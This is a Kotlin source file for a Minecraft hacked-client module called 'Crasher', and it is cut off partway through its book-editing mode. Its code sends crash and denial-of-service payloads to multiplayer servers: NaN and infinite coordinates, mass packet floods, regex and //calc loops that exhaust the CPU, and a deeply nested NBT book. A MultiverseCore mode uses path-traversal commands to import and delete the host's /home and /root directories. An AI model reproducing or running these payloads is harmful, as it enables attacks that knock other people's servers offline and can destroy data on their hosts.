package net.aspw.client.features.module.impl.exploit

import io.netty.buffer.Unpooled
import net.aspw.client.Launch
import net.aspw.client.event.EventTarget
import net.aspw.client.event.TickEvent
import net.aspw.client.event.UpdateEvent
import net.aspw.client.event.WorldEvent
import net.aspw.client.features.module.Module
import net.aspw.client.features.module.ModuleCategory
import net.aspw.client.features.module.ModuleInfo
import net.aspw.client.utils.ClientUtils
import net.aspw.client.utils.PacketUtils
import net.aspw.client.utils.misc.RandomUtils
import net.aspw.client.utils.timer.MSTimer
import net.aspw.client.value.ListValue
import net.minecraft.init.Items
import net.minecraft.item.Item
import net.minecraft.item.ItemStack
import net.minecraft.nbt.NBTBase
import net.minecraft.nbt.NBTTagCompound
import net.minecraft.nbt.NBTTagList
import net.minecraft.nbt.NBTTagString
import net.minecraft.network.PacketBuffer
import net.minecraft.network.play.client.*
import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition
import net.minecraft.util.BlockPos
import java.lang.Thread.sleep
import java.util.*
import java.util.concurrent.CompletableFuture
import kotlin.concurrent.thread


@ModuleInfo(name = "Crasher", category = ModuleCategory.EXPLOIT)
class Crasher : Module() {

    private val modeValue = ListValue(
        "Mode", arrayOf(
            "KeepAlive",
            "Color",
            "Swing",
            "PacketFuck",
            "Exceptioner",
            "ExploitFixer",
            "MassiveChunkLoading",
            "WorldEdit",
            "FAWE",
            "MultiverseCore",
            "Bungeecord",
            "Essentials",
            "OnGround",
            "Pex",
            "AAC",
            "MemetrixOld",
            "WiredNCP",
            "BookEdit",
            "Name",
            "Reload",
            "Replay",
            "Exploit",
            "NullPointer",
            "NaN",
            "Netty",
            "ItemSwitch",
            "ItemDrop",
            "CreativeItemControl",
            "MathOverFlow",
            "Zero",
            "C08",
            "NullC08",
            "CommandComplete",
            "Rotation",
            "Log4j"
        ), "KeepAlive"
    )
    private val log4jModeValue =
        ListValue("Log4j-Mode", arrayOf("Chat", "Command"), "Chat") { modeValue.get().equals("log4j", true) }
    private val faweModeValue =
        ListValue("FAWE-Mode", arrayOf("1", "2"), "1") { modeValue.get().equals("fawe", true) }
    private val multiversecoreModeValue =
        ListValue("MultiverseCore-Mode", arrayOf("1", "2"), "1") { modeValue.get().equals("multiversecore", true) }
    private val pexModeValue =
        ListValue("Pex-Mode", arrayOf("1", "2"), "1") { modeValue.get().equals("pex", true) }
    private val bookeditModeValue =
        ListValue("BookEdit-Mode", arrayOf("1", "2", "3"), "1") { modeValue.get().equals("bookedit", true) }
    private val nettyModeValue =
        ListValue("Netty-Mode", arrayOf("1", "2", "3"), "1") { modeValue.get().equals("netty", true) }
    private val aacModeValue =
        ListValue("AAC-Mode", arrayOf("1", "2", "3", "4"), "1") { modeValue.get().equals("aac", true) }

    private val pexTimer = MSTimer()

    override fun onEnable() {
        if (mc.isIntegratedServerRunning) {
            state = false
            chat("Don't works on single player!")
            return
        }

        ClientUtils.displayChatMessage(Launch.CLIENT_CHAT + "§cCrashing...")
        mc.thePlayer ?: return

        when (modeValue.get().lowercase(Locale.getDefault())) {
            "exploit" -> {
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        mc.thePlayer.posX + 99413,
                        mc.thePlayer.entityBoundingBox.minY,
                        mc.thePlayer.posZ + 99413,
                        true
                    )
                )
            }

            "bungeecord" -> {
                for (i in 0..9999) {
                    PacketUtils.sendPacketNoEvent(C03PacketPlayer(true))
                    PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(ItemStack(Items.bread)))
                    PacketUtils.sendPacketNoEvent(C03PacketPlayer(true))
                    PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(ItemStack(Items.potato)))
                }
            }

            "packetfuck" -> {
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        mc.thePlayer.posX + Double.MAX_VALUE,
                        mc.thePlayer.posY + Double.MAX_VALUE,
                        mc.thePlayer.posZ + Double.MAX_VALUE,
                        true
                    )
                )
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        mc.thePlayer.posX + Double.NEGATIVE_INFINITY,
                        mc.thePlayer.posY + Double.NEGATIVE_INFINITY,
                        mc.thePlayer.posZ + Double.NEGATIVE_INFINITY,
                        true
                    )
                )
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        mc.thePlayer.posX + Double.POSITIVE_INFINITY,
                        mc.thePlayer.posY + Double.POSITIVE_INFINITY,
                        mc.thePlayer.posZ + Double.POSITIVE_INFINITY,
                        true
                    )
                )
            }

            "zero" -> {
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        mc.thePlayer.posX + RandomUtils
                            .nextInt(1000, Int.MAX_VALUE),
                        mc.thePlayer.posX + RandomUtils
                            .nextInt(1000, Int.MAX_VALUE),
                        mc.thePlayer.posX + RandomUtils
                            .nextInt(1000, Int.MAX_VALUE),
                        mc.thePlayer.onGround
                    )
                )
            }

            "exploitfixer" -> {
                for (index in 0..9998) PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        mc.thePlayer.posX + 500000 * index,
                        mc.thePlayer.entityBoundingBox.minY + 500000 * index,
                        mc.thePlayer.posZ + 500000 * index, true
                    )
                )
            }

            "onground" -> {
                for (i in 0..2999) {
                    PacketUtils.sendPacketNoEvent(C03PacketPlayer(Random().nextBoolean()))
                }
            }

            "reload" -> {
                for (i in 0..14) {
                    // Send crash command
                    mc.thePlayer.sendChatMessage("/reload")
                }
            }

            "replay" -> {
                // Send crash command
                mc.thePlayer.sendChatMessage("/replay æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?ã€‚æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?ã€‚æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?ã€‚æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?ã€‚æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?ã€‚æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?ã€‚æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?ã€‚æˆ‘å°†å°½å…¶æ‰€èƒ½åœ°å°†ä½ çš„æ‚²æƒ¨çš„å±?è‚¡å\u00AD?")
            }

            "nullpointer" -> {
                for (i in 0..999) {
                    PacketUtils.sendPacketNoEvent(C01PacketChatMessage(Random().toString()))
                }
            }

            "name" -> {
                // Send crash command
                mc.thePlayer.sendChatMessage("/name �?�ん�?��?��?��?�ん�?��?��?��?�ん�?��?��?��?�")
            }

            "exceptioner" -> {
                PacketUtils.sendPacketNoEvent(
                    C0EPacketClickWindow(
                        0,
                        -2,
                        0,
                        2,
                        null as ItemStack?,
                        1.toShort()
                    )
                )
            }

            "nan" -> {
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        Float.NaN.toDouble(),
                        Float.NaN.toDouble(),
                        Float.NaN.toDouble(),
                        true
                    )
                )
            }

            "aac" -> {
                if (aacModeValue.get() == "1") {
                    var index = 0
                    while (index < 9999) {
                        PacketUtils.sendPacketNoEvent(
                            C04PacketPlayerPosition(
                                mc.thePlayer.posX + 9412 * index,
                                mc.thePlayer.entityBoundingBox.minY + 9412 * index,
                                mc.thePlayer.posZ + 9412 * index,
                                true
                            )
                        )
                        ++index
                    }
                }
                if (aacModeValue.get() == "2") {
                    var index = 0
                    while (index < 9999) {
                        PacketUtils.sendPacketNoEvent(
                            C04PacketPlayerPosition(
                                mc.thePlayer.posX + 500000 * index,
                                mc.thePlayer.entityBoundingBox.minY + 500000 * index,
                                mc.thePlayer.posZ + 500000 * index,
                                true
                            )
                        )
                        ++index
                    }
                }
                if (aacModeValue.get() == "3") {
                    PacketUtils.sendPacketNoEvent(
                        C04PacketPlayerPosition(
                            Double.NEGATIVE_INFINITY,
                            Double.NEGATIVE_INFINITY,
                            Double.NEGATIVE_INFINITY,
                            true
                        )
                    )
                }

            }

            "mathoverflow" -> {
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        1.7976931348623157E+308,
                        1.7976931348623157E+308,
                        1.7976931348623157E+308,
                        true
                    )
                )
            }

            "worldedit" -> {
                mc.thePlayer.sendChatMessage("//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}")
            }

            "fawe" -> {
                if (faweModeValue.get() == "1")
                    PacketUtils.sendPacketNoEvent(C14PacketTabComplete("/to for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}"))
                if (faweModeValue.get() == "2")
                    PacketUtils.sendPacketNoEvent(C14PacketTabComplete("//calc for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){for(m=0;m<256;m++){ln(pi)}}}}}"))
            }

            "multiversecore" -> {
                if (multiversecoreModeValue.get() == "1")
                    mc.thePlayer.sendChatMessage("/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^")
                if (multiversecoreModeValue.get() == "2")
                    CompletableFuture.runAsync {
                        PacketUtils.sendPacketNoEvent(C01PacketChatMessage("/mv import ../../../../../home normal -t flat"))
                        try {
                            sleep(500)
                        } catch (ignored: InterruptedException) {
                        }
                        PacketUtils.sendPacketNoEvent(C01PacketChatMessage("/mv import ../../../../../root normal -t flat"))
                        try {
                            sleep(500)
                        } catch (ignored: InterruptedException) {
                        }
                        PacketUtils.sendPacketNoEvent(C01PacketChatMessage("/mv delete ../../../../../home"))
                        try {
                            sleep(500)
                        } catch (ignored: InterruptedException) {
                        }
                        PacketUtils.sendPacketNoEvent(C01PacketChatMessage("/mv confirm"))
                        try {
                            sleep(500)
                        } catch (ignored: InterruptedException) {
                        }
                        PacketUtils.sendPacketNoEvent(C01PacketChatMessage("/mv delete ../../../../../root"))
                        try {
                            sleep(500)
                        } catch (ignored: InterruptedException) {
                        }
                        PacketUtils.sendPacketNoEvent(C01PacketChatMessage("/mv confirm"))
                    }
            }

            "pex" -> {
                if (pexModeValue.get().equals(1))
                    mc.thePlayer.sendChatMessage("/pex promote b b")
            }

            "essentials" -> {
                // Send crash command
                mc.thePlayer.sendChatMessage("/pay * a a")
            }

            "massivechunkloading" -> {
                // Fly up into sky
                var yPos = mc.thePlayer.posY
                while (yPos < 255) {
                    PacketUtils.sendPacketNoEvent(
                        C04PacketPlayerPosition(
                            mc.thePlayer.posX,
                            yPos,
                            mc.thePlayer.posZ,
                            true
                        )
                    )
                    yPos += 5.0
                }

                // Fly over world
                var i = 0
                while (i < 1337 * 5) {
                    PacketUtils.sendPacketNoEvent(
                        C04PacketPlayerPosition(
                            mc.thePlayer.posX + i,
                            255.0,
                            mc.thePlayer.posZ + i,
                            true
                        )
                    )
                    i += 5
                }
            }

            "bookedit" -> {
                if (bookeditModeValue.get() == "1") {
                    val tag = NBTTagCompound()
                    val list = NBTTagList()
                    for (i2 in 0..1) {
                        list.appendTag(
                            NBTTagString(
                                "{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}"
                            )
                        )
                    }
                    tag.setString("author", "AuthSmasher" + Random().nextInt(20))
                    tag.setString("title", "MojangIstToll" + Random().nextInt(20))
                    tag.setInteger("resolved", 1)
                    tag.setTag("pages", list)
                    val book = ItemStack(Items.writable_book)
                    book.tagCompound = tag

                    val pb = PacketBuffer(Unpooled.buffer())
                    pb.writeItemStackToBuffer(book)

                    PacketUtils.sendPacketNoEvent(C17PacketCustomPayload("MC|BEdit", pb))
                }
                if (bookeditModeValue.get() == "2") {
                    val buffer = PacketBuffer(Unpooled.buffer())
                    val item = ItemStack(Items.writable_book)
                    val nbt = NBTTagCompound()
                    val pages = NBTTagList()
                    val page = NBTTagString(
